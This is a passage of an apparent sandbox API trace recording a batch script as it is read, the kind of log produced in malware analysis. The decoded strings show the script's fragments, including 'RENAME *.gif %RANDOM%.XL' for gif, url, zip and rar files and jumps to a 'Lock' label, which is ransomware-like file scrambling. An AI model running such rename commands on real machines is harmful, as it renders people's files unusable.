lpDistanceToMoveHigh=0x0) returned 0x3cb [0038.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.131] GetFileType (hFile=0x74) returned 0x1 [0038.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0038.132] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0038.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto Ran\r\n") returned 29 [0038.132] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0038.132] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.132] GetFileType (hFile=0x74) returned 0x1 [0038.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0038.133] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.133] SetFilePointer (in: hFile=0x74, lDistanceToMove=1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0038.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.htm goto Ran\r\n") returned 2 [0038.133] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.133] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0038.133] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.133] GetFileType (hFile=0x74) returned 0x1 [0038.133] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0038.133] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.133] SetFilePointer (in: hFile=0x74, lDistanceToMove=1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0038.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto Ran\r\n") returned 30 [0038.133] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.133] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0038.133] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.133] GetFileType (hFile=0x74) returned 0x1 [0038.133] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0038.133] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.134] SetFilePointer (in: hFile=0x74, lDistanceToMove=1034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0038.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.html goto Ran\r\n") returned 2 [0038.134] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.134] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0038.134] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.134] GetFileType (hFile=0x74) returned 0x1 [0038.134] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0038.134] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.134] SetFilePointer (in: hFile=0x74, lDistanceToMove=1040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0038.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto Ran\r\n") returned 6 [0038.134] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.134] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0038.134] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.134] GetFileType (hFile=0x74) returned 0x1 [0038.134] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0038.134] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=1066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0038.135] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\nan\r\n") returned 26 [0038.135] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0038.135] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.135] GetFileType (hFile=0x74) returned 0x1 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0038.135] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0038.135] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0038.135] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0038.135] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.135] GetFileType (hFile=0x74) returned 0x1 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0038.135] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.135] SetFilePointer (in: hFile=0x74, lDistanceToMove=1079, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0038.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0038.136] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.136] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0038.136] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.136] GetFileType (hFile=0x74) returned 0x1 [0038.136] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0038.136] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.136] SetFilePointer (in: hFile=0x74, lDistanceToMove=1085, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0038.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0038.136] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.136] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0038.136] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.136] GetFileType (hFile=0x74) returned 0x1 [0038.136] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0038.136] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.136] SetFilePointer (in: hFile=0x74, lDistanceToMove=1111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0038.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0038.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0038.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.137] GetFileType (hFile=0x74) returned 0x1 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0038.137] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=1113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0038.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0038.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0038.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.137] GetFileType (hFile=0x74) returned 0x1 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0038.137] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=1124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0038.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0038.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0038.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.138] GetFileType (hFile=0x74) returned 0x1 [0038.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0038.138] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=1130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0038.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0038.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0038.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.138] GetFileType (hFile=0x74) returned 0x1 [0038.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0038.138] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=1132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0038.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0038.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0038.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.139] GetFileType (hFile=0x74) returned 0x1 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0038.139] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=1158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0038.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0038.139] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0038.139] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.139] GetFileType (hFile=0x74) returned 0x1 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0038.139] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=1169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0038.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0038.139] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0038.139] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.139] GetFileType (hFile=0x74) returned 0x1 [0038.139] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0038.140] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0038.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.140] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0038.140] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.140] GetFileType (hFile=0x74) returned 0x1 [0038.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0038.140] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=1177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0038.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0038.140] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0038.140] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.140] GetFileType (hFile=0x74) returned 0x1 [0038.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0038.141] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=1179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0038.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0038.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0038.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.141] GetFileType (hFile=0x74) returned 0x1 [0038.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0038.141] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0038.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0038.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0038.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.141] GetFileType (hFile=0x74) returned 0x1 [0038.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0038.141] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=1207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0038.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0038.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0038.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.142] GetFileType (hFile=0x74) returned 0x1 [0038.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0038.142] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0038.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0038.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0038.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.149] GetFileType (hFile=0x74) returned 0x1 [0038.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0038.150] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=1220, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0038.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0038.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.150] GetFileType (hFile=0x74) returned 0x1 [0038.150] 